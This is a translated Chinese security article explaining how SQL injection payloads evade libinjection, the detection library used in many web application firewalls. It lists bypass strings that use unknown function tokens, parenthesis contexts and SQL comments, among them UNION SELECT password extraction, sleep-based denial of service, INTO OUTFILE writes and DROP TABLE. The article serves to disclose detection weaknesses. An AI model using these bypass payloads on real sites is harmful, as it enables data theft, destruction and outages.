写在前面的话
在我们开始之前，先给大家介绍一下libinjection。libinjection是一个非常流行的开源项目【传送门】，该项目由Signal Sciences公司的Nick Galbreath负责开发和维护。
在此之前，市场上绝大多数的WAF都是基于正则匹配（Regex）的，但是现在不一样了，很多的WAF（防火墙）以及NGWAF（下一代防火墙）出于性能方面的考虑，都会选择使用这个库来代替常规的正则表达式。例如mod_security从2.7.4版本开始就支持libinjection（dectectSQLi-v2.7.4、detectXSS-v2.8.0）。
从技术角度来看，libinjection是一个基于C语言的SQLi词法解析分析器，它可以通过对不同语句进行词法分析和语法分析来实现对SQL语句以及HTML语句的解析。
但需要注意的是，某些情况下libinjection的效果可能并没有正则表达式好。接下来我会告诉大家我为什么会这样认为。
libinjection解析器的未知令牌（token）
函数令牌，这是找出未知令牌的一种最简单的方法了。我们曾尝试列出所有可能的SQL函数，但这不太可能实现，因为还有很多自定义函数存在。这是其中一个原因，而另一个原因是各种不同的SQL引擎（例如MariaDB、MySQL、SQLite和PostgreSQL等等）都有很多不同的内置SQL函数。
下面是一个简单的例子：
|
1
|
?id=‘-sqlite_version() UNION SELECT password FROM users- -
|
libinjection解析器的未知语境（context）
括号语境
如果攻击者想要进行拒绝服务（DoS）攻击，并尝试通过SQL注入来拿下你的数据库，那么他可能会使用下面这种查询语句：
|
1
|
?id=sleep(9999)
|
但是，这种尝试是会被检测到的，而安全防护产品也能够有效地阻止这种攻击。但是，下面这种情况却是无法检测到的：
|
1
|
?id=)-sleep(9999
|
因为libinjection并不能理解这种括号语境。
同样的，在MySQL的文件写入中我们也可以利用类似的技术。比如说下面这个语句，它在一般情况下都会被检测到：
|
1
|
?id=1337 INTO OUTFILE ‘xxx’--
|
但是如果攻击者换成下面这种形式或语境的话，就无法被检测到了：
|
1
|
?id=1337) INTO OUTFILE ‘xxx’--
|
除了上面给出的这种情况之外，我们同样可以在批量查询语句或多层查询语句中使用同样的技巧。比如说下面这条语句，它是会被检测到并且被阻止的：
|
1
|
?id=123;DROP TABLE users--
|
但是下面这条语句却不会被发现，这样一来，你的用户表（users）就被攻击者拿到手了：
|
1
|
?id=123);DROP TABLE users--
|
简单的数据提取Payload样例如下所示：
|
1
|
?id=) OR (SELECT password FROM users ...
|
注释语境
在SQL语句的注释中执行注入
|
1
|
*/UNION SELECT password FROM users--
|
总结
实际上，我们经常可以在SQL语句的注释区域中发现可行的注入点。libinjection无法检测注释区域中的内容，因为它的SQL解析器根本就不支持这种语境。
正如大家在本文中看到的那样，想要保护Web应用不受网络攻击其实是一件非常困难的事情，即便是我们对SQL注入攻击已经有着足够的了解了，但我们仍然不能保证SQLi不会发生在我们自己的服务器身上。无论你所使用的库有多么的流行，无论这个库有多么的高级，攻击者永远都会有新的方法来绕过它们。
本文由 安全客 翻译，作者：WisFree
原文链接：https://medium.com/@d0znpp/how-to-bypass-libinjection-in-many-waf-ngwaf-1e2513453c0f